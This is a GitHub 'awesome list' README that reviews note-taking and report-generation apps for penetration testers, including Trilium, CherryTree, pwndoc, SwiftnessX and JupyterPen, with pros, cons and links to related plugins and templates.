<h1 align="center">:skull: Awesome note-taking apps for hackers !</h1> <p align="center"> A collection of awesome note-taking <b>apps, plugins and techiques</b> for pentest report generation, bug-bounty hunting & building a knowledge base <a href="https://twitter.com/intent/tweet?text=A%20collection%20of%20awesome%20note-taking%20apps%2C%20plugins%20and%20techiques%20for%20hackers%20and%20pentesters%20-%20by%20%40nil0x42%0A%23hacking%20%23pentest%20%23awesome%20%23BugBounty&url=https://github.com/nil0x42/awesome-hacker-note-taking"> <img src="https://img.shields.io/twitter/url?label=tweet&logo=twitter&style=social&url=http%3A%2F%2F0" alt="tweet"> </a> </4> <br> <p align="center"> <a href="https://awesome.re/"> <img src="https://awesome.re/badge-flat2.svg"> </a> <a href="https://github.com/nil0x42/awesome-hacker-note-taking"> <img src="https://img.shields.io/github/stars/nil0x42/awesome-hacker-note-taking?style=flat-square&logo=github"> </a> <a href="https://twitter.com/intent/follow?screen_name=nil0x42" target="_blank"> <img src="https://img.shields.io/twitter/follow/nil0x42.svg?style=flat-square&logo=twitter"> </a> </p> <div align="center"> <sub> Created by <a href="https://twitter.com/nil0x42">nil0x42</a> and <a href="https://github.com/nil0x42/awesome-hacker-note-taking/graphs/contributors">contributors</a> </sub> </div> <br> * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * <!-- ------------------------------------------------------------ --> <h2> <a href="https://github.com/zadam/trilium"> zadam/trilium <img height=16 src="https://badgen.net/github/stars/zadam/trilium?icon=github&style=flat"> </a> </h2> <b> Trilium Notes is a hierarchical note taking application with focus on building large personal knowledge bases. </b> <details> <summary><i>click for details..</i></summary> <img width="30%" src="https://raw.githubusercontent.com/wiki/zadam/trilium/images/screenshot.png"> <img width="30%" src="https://raw.githubusercontent.com/wiki/zadam/trilium/images/link-map.png"> <img width="30%" src="https://raw.githubusercontent.com/nil0x42/singlefile2trilium/master/img/small-demo.png"> **:heavy_check_mark: Pros (for hackers)** * supports [relation maps](https://github.com/zadam/trilium/wiki/Relation-map) * handles massive amount of notes * easily scriptable (js) * sync accross devices is possible (server mode) * notes can have [multiple parents](https://github.com/zadam/trilium/wiki/Tree-concepts) * main dev (@zadam) is very active & addresses issues quickly **:x: Cons (for hackers)** * heavy app (electronjs) * no command-line interface **:electric_plug: Useful plugins/extensions (for hackers)** * [zadam/trilium-web-clipper](https://github.com/zadam/trilium-web-clipper) - web browser extension which allows user to clip text, screenshots, whole pages and short notes and save them directly to Trilium Notes. * [nil0x42/singlefile2trilium](https://github.com/nil0x42/singlefile2trilium) - Save faithful copy of a web page in Trilium notes with SingleFile web extension </details> <!-- ------------------------------------------------------------ --> <h2> <a href="https://github.com/giuspen/cherrytree"> giuspen/cherrytree <img height=16 src="https://badgen.net/github/stars/giuspen/cherrytree?icon=github&style=flat"> </a> </h2> <b> A hierarchical note taking application, featuring rich text and syntax highlighting </b> <details> <summary><i>click for details..</i></summary> <img width="30%" src="https://www.debugpoint.com/blog/wp-content/uploads/2015/02/Cherrytree-Running-in-Fedora.png"> <img width="30%" src="https://techstat.net/wp-content/uploads/2017/11/img_5a0774354110d.png"> <img width="30%" src="https://i.imgur.com/6R3npOW.png"> **:heavy_check_mark: Pros (for hackers)** * beautiful rich-text * very used among pentesters **:x: Cons (for hackers)** * monolythic hierarchical system * no note-tagging system **:electric_plug: Useful plugins/extensions (for hackers)** * https://github.com/sergiodmn/cherrymap - Import Nmap scans to Cherrytree * https://github.com/gpalo/cherrypy-report - Create a PDF from your pentesting cherrytree notes (with the OSCP exam in mind). * https://github.com/mikaelkall/massrecon - recon tool for OSCP engagements. Exports to cherrytree format * https://github.com/rewardone/OSCPRepo/tree/master/CherryTrees - templates for OSCP * https://github.com/DriftSec/AutoRecon-OSCP - Modified version of AutoRecon with a cherrytree helper script to import autorecon scan into cherrytree. * https://github.com/CoolDadHacking/OSCP_Template - CherryTree OSCP methodology templatte </details> <!-- ------------------------------------------------------------ --> <h2> <a href="https://github.com/pwndoc/pwndoc"> pwndoc/pwndoc <img height=16 src="https://badgen.net/github/stars/pwndoc/pwndoc?icon=github&style=flat"> </a> </h2> <b> A pentest reporting application making it simple and easy to write your findings and generate a customizable Docx report. </b> <details> <summary><i>click for details..</i></summary> <img width="30%" src="https://raw.githubusercontent.com/pwndoc/pwndoc/master/demos/shared_audit_demo.gif"> <img width="30%" src="https://raw.githubusercontent.com/pwndoc/pwndoc/master/demos/audit_finding_demo.gif"> <img width="30%" src="https://raw.githubusercontent.com/pwndoc/pwndoc/master/demos/create_and_update_finding.gif"> **:heavy_check_mark: Pros (for hackers)** * Manage reusable Audit and Vulnerability Data * Multi-User reporting * Docx Report Generation * Docx Template customization **:x: Cons (for hackers)** * not a knowledge base, focused on generating pentest reports </details> <!-- ------------------------------------------------------------ --> <h2> <a href="https://github.com/ehrishirajsharma/SwiftnessX"> ehrishirajsharma/SwiftnessX <img height=16 src="https://badgen.net/github/stars/ehrishirajsharma/SwiftnessX?icon=github&style=flat"> </a> </h2> <b> A cross-platform note-taking & target-tracking app for penetration testers built on ElectronJS. </b> <details> <summary><i>click for details..</i></summary> <img width="30%" src="https://raw.githubusercontent.com/ehrishirajsharma/swiftness-static/master/Assets/main-view.png"> <img width="30%" src="https://miro.medium.com/max/1050/1*7V-0LAqgsOvt2HUIL9paTw.png"> <img width="30%" src="https://preview.redd.it/3z0m9cwvvpg41.png?width=1916&format=png&auto=webp&s=f12683559d441725cf7f7ca6688ec93cdf4bca1f"> **:heavy_check_mark: Pros (for hackers)** * Focused on target-tracking (good for bug-bounty hunting) * importable hacking `checklists` **:x: Cons (for hackers)** * heavy app (electronjs) * Last commit is from `Jul 19, 2019` **:electric_plug: Useful plugins/extensions (for hackers)** * https://github.com/ehrishirajsharma/swiftness-static/raw/master/Checklist/OWASP-Testing-Checklist.json - OWASP-Testing-Checklist from @Ice3man543 </details> <!-- ------------------------------------------------------------ --> <h2> <a href="https://github.com/obheda12/JupyterPen"> obheda12/JupyterPen <img height=16 src="https://badgen.net/github/stars/obheda12/JupyterPen?icon=github&style=flat"> </a> </h2> <b> Create modular and automated penetration testing frameworks utilizing Jupyter Notebooks. </b> <details> <summary><i>click for details..</i></summary> <img width="30%" src="https://pbs.twimg.com/media/EnW_CTrWEAI9ETm?format=jpg&name=medium"> <img width="30%" src="https://pbs.twimg.com/media/EnW_CTkXEAgOKiy?format=jpg&name=medium"> <img width="30%" src="https://pbs.twimg.com/media/EnW_F5vW8AcCdo1?format=jpg&name=medium"> **:heavy_check_mark: Pros (for hackers)** * Focused on OSINT * in-notes executable scripts for result insertions * Automate / parse recon to excel **:x: Cons (for hackers)** * Recent (small community) **:electric_plug: Resources** * https://youtu.be/LTNKMA65BtI?t=653 - BSIDES presentation by @obheda12 </details>